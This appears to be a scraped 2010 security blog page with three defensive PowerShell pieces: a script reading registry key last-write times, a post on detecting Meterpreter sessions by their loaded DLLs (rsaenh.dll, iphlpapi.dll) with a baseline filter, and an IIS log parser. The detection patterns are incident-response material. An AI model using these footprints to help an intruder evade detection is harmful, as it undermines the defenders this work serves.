BitLocker 7/14/2009 4:41:12 AM
...

 


Get-RegKeyLastWriteTime.ps1 Script:


param (	[string] $Key, [string] $SubKey )

switch ($Key) {
"HKCR" { $searchKey = 0x80000000} #HK Classes Root
"HKCU" { $searchKey = 0x80000001} #HK Current User
"HKLM" { $searchKey = 0x80000002} #HK Local Machine
"HKU" { $searchKey = 0x80000003} #HK Users
"HKCC" { $searchKey = 0x80000005} #HK Current Config
default {
#throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
}
}


$KEYQUERYVALUE = 0x1
$KEYREAD = 0x19
$KEYALLACCESS = 0x3F

$sig1 = @'
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern int RegOpenKeyEx(
int hKey,
string subKey,
int ulOptions,
int samDesired,
out int hkResult);
'@
$type1 = Add-Type -MemberDefinition $sig1 -Name Win32Utils `
-Namespace RegOpenKeyEx -Using System.Text -PassThru

$sig2 = @'
[DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
extern public static int RegEnumKeyEx(
int hkey,
int index,
StringBuilder lpName,
ref int lpcbName,
int reserved,
int lpClass,
int lpcbClass,
out long lpftLastWriteTime);
'@
$type2 = Add-Type -MemberDefinition $sig2 -Name Win32Utils `
-Namespace RegEnumKeyEx -Using System.Text -PassThru

$sig3 = @'
[DllImport("advapi32.dll", SetLastError=true)]
public static extern int RegCloseKey(
int hKey);
'@
$type3 = Add-Type -MemberDefinition $sig3 -Name Win32Utils `
-Namespace RegCloseKey -Using System.Text -PassThru


$hKey = new-object int
$result = $type1::RegOpenKeyEx($searchKey, $SubKey, 0, $KEYREAD, [ref] $hKey)

#initialize variables
$builder = New-Object System.Text.StringBuilder 1024
$index = 0
$length = [int] 1024
$time = New-Object Long

#234 means more info, 0 means success. Either way, keep reading
while ( 0,234 -contains $type2::RegEnumKeyEx($hKey, $index++, `
$builder, [ref] $length, $null, $null, $null, [ref] $time) )
{
#create output object
$o = "" | Select Key, LastWriteTime
$o.Key = $builder.ToString()
$o.LastWriteTime = (Get-Date $time).AddYears(1600)
$o

#reinitialize for next time through the loop
$length = [int] 1024
$builder = New-Object System.Text.StringBuilder 1024
}

$result = $type3::RegCloseKey($hKey);

Sunday, January 31, 2010

Finding Meterpreter

In our recent post on the Command Line Kung Fu blog, Advanced Process Whack-a-Mole, we tried to find meterpreter using these two commands:

Windows command line:
C:\> tasklist /FI "modules eq metsrv.dll"
PowerShell
PS C:\> Get-Process | ? { $_.Modules -like "*(metsrv.dll)*" }
In version MetaSploit 3.3, and presumably future versions, the metsrv.dll is not visible due to Reflective DLL injection. It does work on v2 and v3.0-3.2. However, there are still footprints of meterpreter in v3.3. Two other dll's are loaded with meterpreter that many processes don't load.
C:\WINDOWS\system32\rsaenh.dll
C:\WINDOWS\system32\IPHLPAPI.DLL
We can look for processes that have these two dll's loaded using either of these two commands.

Windows command line:
C:\> tasklist /fi "MODULES eq rsaenh.dll" /fi "MODULES eq iphlpapi.dll"
PowerShell
PS C:\> Get-Process | ? { $_.Modules -like "*(rsaenh.dll)*" 
-and $_.Modules -like "*(iphlpapi.dll)*"}
The problem is, some processes load these dll's so it isn't a 100% sign of pwnage. The processes include:
explorer.exe
iexplore.exe
lsass.exe
svchost.exe
winlogon.exe
If IE were compromised it wouldn't be obvious, but it is obvious if Icecast was.
PS C:\> Get-Process | ? { $_.Modules -like "*(rsaenh.dll)*" 
-and $_.Modules -like "*(iphlpapi.dll)*"} | select ProcessName

ProcessName
-----------
explorer
Icecast2
IEXPLORE
lsass
svchost
svchost
svchost
winlogon
It is also apparent if meterpreter has been migrated to a process that doesn't normally load the dll's. In my testing I migrated to calc. Here are the results now.
PS C:\> Get-Process | ? { $_.Modules -like "*(rsaenh.dll)*" 
-and $_.Modules -like "*(iphlpapi.dll)*"} | select ProcessName

ProcessName
-----------
calc
explorer
Icecast2
IEXPLORE
lsass
svchost
svchost
svchost
winlogon
If we had a baseline of processes that load these dll's then we can use PowerShell to filter out processes that don't normally load the dll's.
PS C:\> Get-Process | ? { $_.Modules -like "*(rsaenh.dll)*" 
-and $_.Modules -like "*(iphlpapi.dll)*" -and
"explorer","iexplore","lsass","svchost","winlogon" -notcontains  $_.ProcessName }

ProcessName
-----------
calc
Icecast2

In this example Icecast2 was the initial point of compromise and meterpreter has migrated to calc.

While this isn't a perfect way to find meterpreter it is better than nothing.

UPDATE:
According to Stephen Fewer, one of the MetaSploit developers:
iphlpapi.dll is imported by the meterpreters stdapi extension for the route and ipconfig commands.


rsaenh.dll (The Microsoft Enhanced Cryptographic Provider DLL) is being loaded via advapi32.dll after a call from the openssl subsystem within meterpreter calling advapi32!CryptAcquireContext[1]

Monday, January 18, 2010

PowerShell IIS Log Objectifier

This script will read the W3C Extended Log File Format with the default logging options. If you add or remove columns from your log then you will have to modify this script.

################################################################
# Description: IIS Log Importer
# Version: 1.0
# Author: Tim Medin
# Email: TimMedin A@T securitywhole D.O.T com
# Note: This script will read the W3C Extended Log File Format
# with the default logging options. If you add or remove columns
# from your log then you will have to modify this script.
################################################################

param
(
  [
string] $Path
)

[
regex]$regex = '\s*(?<date>\S+)\s+(?<time>\S+)\s+(?<sitename>\S+)\s+(?<computername>\S+)\s+(?<ip>\S+)\s+(?<method>\S+)\s+(?<uristem>\S+)\s+(?<uriquery>\S+)\s+(?<port>\S+)\s+(?<username>\S+)\s+(?<sourceip>\S+)\s+(?<UserAgent>\S+)\s+(?<status>\S+)\s+(?<substatus>\S+)\s+(?<win32status>\S*)'

Get-Content
$Path | Select-String -Pattern "^[^#]" | % {
  if ($_ -match $regex) {
    $log = "" | Select TimeStamp, SiteName, ComputerName, IP, Method, UriStem, UriQuery, Port, Username, SourceIp, UserAgent, Status, SubStatus, Win32Status
    $log.TimeStamp = Get-Date "$($matches.Date) $($matches.Time)"
    $log.Sitename = $matches.Sitename
    $log.Computername = $matches.Computername
    $log.Ip = $matches.Ip
    $log.Method = $matches.Method
    $log.UriStem = $matches.UriStem
    $log.UriQuery = $matches.UriQuery
    $log.Port = $matches.Port
    $log.Username = $matches.Username
    $log.SourceIp = $matches.SourceIp
    $log.UserAgent = $matches.UserAgent
    $log.Status = $matches.Status
    $log.SubStatus = $matches.SubStatus
    $log.Win32Status = $matches.Win32Status
    $log
  }
}